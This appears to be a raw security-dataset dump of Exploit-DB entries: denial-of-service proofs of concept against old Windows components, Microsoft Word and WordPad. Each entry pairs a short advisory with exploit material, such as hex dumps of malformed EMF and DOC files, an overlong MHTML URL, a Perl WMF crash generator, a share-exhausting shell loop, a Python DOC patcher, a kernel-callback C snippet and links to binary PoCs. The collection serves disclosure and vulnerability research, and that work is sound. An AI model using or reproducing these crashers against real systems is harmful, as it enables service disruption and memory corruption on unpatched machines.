deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25231
Description: Microsoft Windows XP/2000/2003 - Graphical Device Interface Library Denial of Service
Type: dos
Platform: windows
Date: 2005-03-17
Author: Hongzhen Zhou

Exploit:
source: https://www.securityfocus.com/bid/12834/info

Reportedly, a denial of service vulnerability affects Microsoft Windows GDI library 'gdi32.dll'. This issue is due to a failure of the application to securely copy data from malformed EMF image files.

An attacker may leverage this issue to trigger a denial of service condition in software implementing the vulnerable library. Other attacks may also be possible. 

A hex dumped EMF file:
-------------------------------------------------------
0000000 01 00 00 00 64 00 00 00 93 00 00 00 02 00 00 00
0000010 83 01 00 00 39 01 00 00 00 00 00 00 00 00 00 00
0000020 d1 08 00 00 be 06 00 00 20 45 4d 46 00 00 01 00
0000030 78 00 00 00 17 00 00 00 03 00 00 00 0f 00 00 00
0000040 64 00 00 00 41 00 00 00 c8 12 00 00 c2 1a 00 00
0000050 cc 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00
0000060 00 00 00 00 0e 00 00 00 14 00 00 00 41 00 00 00
0000070 41 42 43 44 00 00 01 ff
-------------------------------------------------------
Exploit-DB #27930
Description: Microsoft Windows XP/2000/2003 - MHTML URI Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2006-05-31
Author: Mr.Niega

Exploit:
source: https://www.securityfocus.com/bid/18198/info


[DEFAULT]
BASEURL=
[InternetShortcut]
URL=mhtml://mid:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Exploit-DB #26341
Description: Microsoft Windows XP/2000/2003 - MSDTC TIP Denial of Service (MS05-051)
Type: dos
Platform: windows
Date: 2005-10-11
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/15058/info

The Microsoft Windows MSDTC (Microsoft Distribution Transaction Coordinator) service is prone to a denial of service vulnerability.

The vulnerability exists in the TIP (Transaction Internet Protocol) functionality that is provided by MSDTC. This vulnerability may be exploited by a remote attacker to deny the availability of services that depend on MSDTC.

This issue only exists on operating systems that have support for the TIP protocol enabled. This vulnerability is remotely exploitable on default configurations on Windows 2000. TIP is not enabled by default on Windows XP and Windows Server 2003 even if the MSDTC service is running.

Update: Microsoft reports several systems have experienced one or more problems after installing the critical update from Microsoft Security Bulletin MS05-051 for this issue. For a more detailed explanation of these problems please see the attached microsoft knowledge base article 909444. 

IDENTIFY 3 3 DST_IP:DST_PORT/ANYID -
PUSH SOMESTRING
PREPARE
RECONNECT
Exploit-DB #28381
Description: Microsoft Windows XP/2000/2003 help - Multiple Vulnerabilities
Type: dos
Platform: windows
Date: 2006-08-12
Author: Benjamin Tobias Franz

Exploit:
source: https://www.securityfocus.com/bid/19490/info

The Microsoft Windows Help File viewer (winhlp32.exe) is prone to multiple remote vulnerabilities.

These vulnerabilities present themselves when the application handles specially crafted Windows Help (.hlp) files.

A successful attack may let the attacker crash the application or execute arbitrary code in the context of a vulnerable user who opens a malicious file.

Specific information regarding affected versions of Microsoft Windows is currently unavailable.

Update: Since help files can inherently execute arbitrary malicious code, this BID is being retired.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28381.zip
Exploit-DB #21747
Description: Microsoft Windows XP/2000/NT 4.0 - Network Share Provider SMB Request Buffer Overflow (2)
Type: dos
Platform: windows
Date: 2002-08-22
Author: zamolx3

Exploit:
source: https://www.securityfocus.com/bid/5556/info
 
Microsoft Windows operating systems use the Server Message Block (SMB) protocol to support services such as file and printer sharing. A buffer overflow vulnerability has been reporting in the handling of some malformed SMB requests.
 
An attacker may send a malformed SMB request packet in order to exploit this condition. It has been reported possible to corrupt heap memory, leading to a crash of the underlying system.
 
It may prove possible to exploit this vulnerability to execute arbitrary code and gain local access to the vulnerable system. This possibility has not, however, been confirmed.
 
Reportedly, this vulnerability may be exploited both as an authenticated user, and with anonymous access to the service.
 
It has been reported, by "Fabio Pietrosanti \(naif\)" <naif@blackhats.it>, that disabling the NetBIOS Null Session will prevent exploitation of this vulnerablity. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21747.zip
Exploit-DB #21953
Description: Microsoft Windows XP/2000/NT 4.0 - RPC Service Denial of Service (3)
Type: dos
Platform: windows
Date: 2002-10-18
Author: Rapid7

Exploit:
source: https://www.securityfocus.com/bid/6005/info
  
The Microsoft Windows RPC service contains a flaw that may allow a remote attacker to cause a denial of service. By sending a specifically malformed packet to TCP port 135, the RPC service will be disabled.
  
This vulnerability was originally reported to only affect Windows 2000. Microsoft has confirmed that Windows NT 4.0 and XP are also vulnerable.
  
It has been reported that installation of the provided patch will cause some problems in IIS environments. Specifically, users who are using COM+ in IIS environments may experience problems with ASP transactions.
  
A variant of this issue has been reported which allegedly affects patched systems. It is apparently possible to trigger this variant by flooding a system with malformed packets. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21953.tar.gz
Exploit-DB #21954
Description: Microsoft Windows XP/2000/NT 4.0 - RPC Service Denial of Service (4)
Type: dos
Platform: windows
Date: 2002-10-18
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/6005/info
   
The Microsoft Windows RPC service contains a flaw that may allow a remote attacker to cause a denial of service. By sending a specifically malformed packet to TCP port 135, the RPC service will be disabled.
   
This vulnerability was originally reported to only affect Windows 2000. Microsoft has confirmed that Windows NT 4.0 and XP are also vulnerable.
   
It has been reported that installation of the provided patch will cause some problems in IIS environments. Specifically, users who are using COM+ in IIS environments may experience problems with ASP transactions.
   
A variant of this issue has been reported which allegedly affects patched systems. It is apparently possible to trigger this variant by flooding a system with malformed packets.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21954.rar
Exploit-DB #24051
Description: Microsoft Windows XP/2000/NT 4.0 - Shell Long Share Name Buffer Overrun
Type: dos
Platform: windows
Date: 2004-04-25
Author: Rodrigo Gutierrez

Exploit:
source: https://www.securityfocus.com/bid/10213/info

Microsoft Windows operating systems have been reported to be prone to a remotely exploitable buffer overrun condition. 

This issue is exposed when a client attempts to connect to an SMB share with an overly long name. This may cause explorer.exe or Internet Explorer to crash but could also potentially be leveraged to execute arbitrary code as the client user.

[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
comment = Area 51
path = /tmp/testfolder
public = yes
writable = yes
printable = no
browseable = yes
write list = @trymywingchung
Exploit-DB #29659
Description: Microsoft Windows XP/2003 - Explorer '.WMF' File Handling Denial of Service
Type: dos
Platform: windows
Date: 2007-02-25
Author: sehato

Exploit:
source: https://www.securityfocus.com/bid/22715/info

Microsoft Windows Explorer is prone to a denial-of-service vulnerability.

A remote attacker may exploit this vulnerability by presenting a malicious file to a victim user. Users do not have to open the file -- simply browsing a folder containing the malicious file is sufficient to trigger this issue.

A successful exploit will crash the vulnerable application, effectively denying service.

This issue may be related to BID 19365 (Microsoft Windows GDI32.DLL WMF Remote Denial of Service Vulnerability) or BID 21992 (Microsoft Windows Explorer WMF File Denial of Service Vulnerability). 

#!/usr/bin/perl

print "\nWMF PoC denial of service exploit by AzM";
print "\n\ngenerating crash.wmf...";
open(WMF, ">./crash.wmf") or die "cannot create wmf file\n";
print WMF "\x01\x00\x09\x00\x00\x03\x22\x00\x00\x00\x01\x00\x84\x43\x00\x00";
print WMF "\x00\x00\x10\x00\x00\x00\x26\x06\x0A\x00\x16\x00\x90\x90\x90\x90";
print WMF "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
print WMF "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x00\x03\x00";
print WMF "\x00\x00\x00\x00";
close(WMF);
print "Ok\n";
Exploit-DB #148
Description: Microsoft Windows XP/2003 - Samba Share Resource Exhaustion (Denial of Service)
Type: dos
Platform: windows
Date: 2004-01-25
Author: Steve Ladjabi

Exploit:
#!/bin/sh
# winblast v3 - DoS on WinXP, Win2003Srv
# 2003-12-04 Steve Ladjabi
# 
# I've encountered a strange problem mounting a Windows server share.
# My setup: Debian Linux, smbmount 3.0.0beta2 and Windows 2003 Server.
# 
# When the client creates and deletes a lot of files on the server, the
# server suddenly ceases serving, i.e. you can not access files nor list
# directory contents any more.
# Example:
# knoppix:/mnt # ll /mnt/test
# ls: /mnt/test: Cannot allocate memory
# 
# The only way to get the server working again is to reboot it. Rebooting
# the client does not help.
# 
# If you want to try for yourself, check this shell script. The script will
# create 1000 directories and then takes turns deleting and re-creating
# them. There will be no more than those 1000 directories at any time.
# After having created (and deleted) 3.5 millions directories the server
# denies access to the share.


count=0

# using 'pathcount' directories
pathcount=1000

echo running \'winblast v3\' with $pathcount files in loop ...

while [ 1 ]; do
p=$((pathcount*2-1))
stop=$((pathcount-1))
while [ "$p" != "$stop" ]; do
dirname=wbst$p
# delete old directory if it exists and exit on any error
if [ -d $dirname ]; then
rmdir $dirname || exit 3
fi;

# generating directory and exit on any error
mkdir $dirname || exit 1
p=$((p-1))
count=$((count+1))
done;
echo $count directories generated ...
done;
#-- end --



# milw0rm.com [2004-01-25]
Exploit-DB #22255
Description: Microsoft Windows XP/95/98/2000/NT 4.0 - 'Riched20.dll' Attribute Buffer Overflow
Type: dos
Platform: windows
Date: 2003-02-17
Author: Jie Dong

Exploit:
source: https://www.securityfocus.com/bid/6874/info

The riched20.dll is vulnerable to a buffer overflow that results in the application calling the library to fail. By creating a Rich Text Format (RTF) file with more than 65536 bytes of data in an attribute, the buffer will be overrun.

Execution of arbitrary code may be possible.

RTF files may be opened automatically by Internet Explorer and Outlook.

** Some reports indicate that this vulnerability could not be reproduced on riched20.dll v.3.0 (5.30.23.1200) running on Windows NT or riched20.dll v.3.0 (5.30.23.1211) running on Windows XP. 

{\rtf1\ansi\ansicpg936\deff0\deflang1033\deflangfe2052{\fonttbl{\f0
\fnil\fprq2\fcharset134 \'cb\'ce\'cc\'e5;}}
{\colortbl ;\red255\green0\blue255;}
\viewkind4\uc1\pard\cf1\kerning2\f0
\fs[PII_REDACTED][PII_REDACTED][PII_REDACTED]11110000 www.yoursft.com\fs20\par
}
Exploit-DB #31585
Description: Microsoft Windows XP/Vista/2000/2003/2008 Kernel - Usermode Callback Privilege Escalation (MS08-025) (1)
Type: dos
Platform: windows
Date: 2008-04-08
Author: Whitecell

Exploit:
/*
source: https://www.securityfocus.com/bid/28554/info

Microsoft Windows is prone to a local privilege-escalation vulnerability.

The vulnerability resides in the Windows kernel. A locally logged-in user can exploit this issue to gain kernel-level access to the operating system.
*/


#include 
#include 

int main(int argc,char *argv[])
{
    DWORD    dwHookAddress = 0x80000000;

    printf( "\tMS08-025 Local Privilege Escalation Vulnerability Exploit(POC)\n\n" );
        printf( "Create by Whitecell's Polymorphours@whitecell.org 2008/04/10\n" );

    SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, dwHookAddress );
    return 0;
}
Exploit-DB #31934
Description: Microsoft Word 2000/2002 - Bulleted List Handling Remote Memory Corruption
Type: dos
Platform: windows
Date: 2008-06-17
Author: Ivan Sanchez

Exploit:
source: https://www.securityfocus.com/bid/29769/info

Microsoft Word is prone to a remote memory-corruption vulnerability.

An attacker could exploit this issue by enticing a victim to open and interact with malicious Word files.

Successfully exploiting this issue will corrupt memory and crash the application. Given the nature of this issue, attackers may also be able to execute arbitrary code in the context of the currently logged-in user. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31934-1.doc
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31934-2.doc
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31934-3.doc
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31934-4.doc
Exploit-DB #3690
Description: Microsoft Word 2007 - Multiple Vulnerabilities
Type: dos
Platform: windows
Date: 2007-04-09
Author: muts

Exploit:
# Mati Aharoni

# muts [.@.] offensive-security.com

# http://www.offensive-security.com

 

 

My 7 line python fuzzer found several file format bugs in 3 hours. Quite alarming.

No deep analysis was done, I leave that to the community.

These are some of the results:

 

file789-1.doc  - Unspecified Overflow in word 2007 - Crash in wwlib.dll . Code execution is not trivial.

file798-1.doc . Word 2007 CPU exhaustion DOS - CPU shoots up to 100 %.

file613-1.doc -  Word 2007 CPU exhaustion DOS + ding - CPU shoots up to 100 %, and windows goes .ding!.

 

These files can be found at http://www.offensive-security.com/0day/0day.tar.gz

backup: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3690.tar.gz (04092007-0day.tar.gz)
 

Be safe,

 

Muts


# milw0rm.com [2007-04-09]
Exploit-DB #14971
Description: Microsoft Word 2007 SP2 - sprmCMajority Buffer Overflow
Type: dos
Platform: windows
Date: 2010-09-11
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub11-microsoft-office-word-sprmcmajority-buffer-overflow/
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14971.zip (moaub-11-exploit.zip)
'''

'''
  Title               :  Microsoft Office Word sprmCMajority buffer overflow
  Version             :  Word 2007 SP 2
  Analysis           :  http://www.abysssec.com
  Vendor              :  http://www.microsoft.com
  Impact              :  Critical
  Contact             :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter             :  @abysssec
  CVE                 :  CVE-2010-1900

'''

import sys

def main():
   
    try:
		fdR = open('src.doc', 'rb+')
		strTotal = fdR.read()
		str1 = strTotal[:4082]
		str2 = strTotal[4088:]
		
		sprmCMajority = "\x47\xCA\xFF"    # sprmCMajority  
		sprmPAnld80 = "\x3E\xC6\xFF"    # sprmPAnld80
				
		fdW= open('poc.doc', 'wb+')
		fdW.write(str1)
		fdW.write(sprmCMajority)
		fdW.write(sprmPAnld80)				
		fdW.write(str2)
		
		fdW.close()
		fdR.close()
		print '[-] Word file generated'
    except IOError:
        print '[*] Error : An IO error has occurred'
        print '[-] Exiting ...'
        sys.exit(-1)
                
if __name__ == '__main__':
    main()
Exploit-DB #23216
Description: Microsoft Word 97/98/2002 - Malformed Document Denial of Service
Type: dos
Platform: windows
Date: 2003-10-03
Author: Bahaa Naamneh

Exploit:
source: https://www.securityfocus.com/bid/8761/info

It has been reported that Microsoft Word is prone to a vulnerability that may allow an attacker to crash the software. The problem occurs when an attacker modifies the memory structure of a Word document. If a user opens the malformed document, it would cause the software to crash. This could potentially allow for corruption of memory, resulting in a possibility of arbitrary code execution, though this has not been confirmed. 

1. Open Word.
2. Save .doc file.
3. Modify .doc file by using binary editor as follows:

these lines were taken from .doc file of Microsoft Word 2002(10.2627.3311):

00 00 00 00 00 a3 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 01
00 00 00 00 00 00 b4 01 00 00 20 00 00 00 9c 01 00 00 00 00 00 00 9c
01 00 00 00 00 00 00 9c 01 00 00 00 00 00 00 9c 01 00 00 00 00 00 00
-------

4. Change them as follows:

00 00 00 00 00 a3 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 01
00 00 62 62 62 62 b4 01 00 00 20 00 00 00 9c 01 00 00 00 00 00 00 9c
01 00 00 00 00 00 00 9c 01 00 00 00 00 00 00 9c 01 00 00 00 00 00 00
-------

5. Open modified .doc file.
6. Microsoft Word will crashes.
Exploit-DB #2922
Description: Microsoft Word Document - Malformed Pointer (PoC)
Type: dos
Platform: windows
Date: 2006-12-12
Author: DiscoJonny

Exploit:
=====
The file I have attached is a very basic two stage bug.  stage 1 (the
first mod) forces the code down a wrong path.  the second mod by
itsself is harmless, however when used with the first it will be the
first and part of the second overwrite.

I have use 41414141 as a marker to make it easier for you to see.

I have made it crash the wordviewer again to make it more obvious

Weight,
location: 00000274
value   : 00000022 - just so it crashes, values 00000001 -> 00000006
are probably the most useful for trying to overwrite a pointer. notice
that neighbouring areas can be weighted the same.

marker,
location: 000027e4
value   : 41414141

the weight destination address == ((weight * 4[this is EDI]) + 4 [ECX*4]) + source memory offest[ESI].

[also the meta data is microsofts, not mine]
======

bug hugs,

disco.

poc: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/2922.doc (12122006-djtest.doc)

# milw0rm.com [2006-12-12]
Exploit-DB #18952
Description: Microsoft Wordpad 5.1 - '.doc' Null Pointer Dereference
Type: dos
Platform: windows
Date: 2012-05-30
Author: condis

Exploit:
Microsoft Wordpad 5.1 (.doc) Null Pointer Dereference Vulnerability
Found by condis

Tested on Windows XP SP 3 Proffesional PL
MS Wordpad 5.1 (Compilation 2600.xpsp[PII_REDACTED] SP 3)

This isn't bug from CWE 2009-0259

$ Binnary diff of template file (proper empty doc document) and malformed file 
(showing just the offset that differs):

0000 1200: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 -- template file
0000 1200: 00 00 00 00 00 00 63 6F  6E 64 00 00 00 00 00 00 -- proof of concept

Actually it doesn't matters (almost) what 4 bytes we will put there untill they != 0x00. 

Access violation when reading [00000004]

$ Registers:

eax = 020ebb72 ebx = 00000000 ecx = 020ebb7c edx = 00090608 
esi = 00000000 edi = 01bc04a8 eip = 01b9dbbb esp = 0177f5c8 
ebp = 0177f5cc 

$ Function dump :

01b9dbb4 55              push    ebp
01b9dbb5 8bec            mov     ebp,esp
01b9dbb7 56              push    esi
01b9dbb8 8b7508          mov     esi,dword ptr [ebp+8]
01b9dbbb 807e0400        cmp     byte ptr [esi+4],0         ds:0023:00000004=?? ; ---- crash
01b9dbbf 751b            jne     mswrd8+0x1dbdc (01b9dbdc)
01b9dbc1 8b06            mov     eax,dword ptr [esi]
01b9dbc3 57              push    edi
01b9dbc4 8b78fc          mov     edi,dword ptr [eax-4]
01b9dbc7 57              push    edi
01b9dbc8 ff156010b801    call    dword ptr [mswrd8+0x1060 (01b81060)]
01b9dbce 57              push    edi
01b9dbcf ff157410b801    call    dword ptr [mswrd8+0x1074 (01b81074)]
01b9dbd5 56              push    esi
01b9dbd6 e87bfdffff      call    mswrd8+0x1d956 (01b9d956)
01b9dbdb 5f              pop     edi
01b9dbdc 5e              pop     esi
01b9dbdd 5d              pop     ebp

$ 'O, hai' goes to Echo, Varseand, cxecurity and madcow ;3

$ Below You should see link to attachement with PoC:

http://cond.psychodela.pl/d/ms-wordpad-nullptr.rar
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18952.rar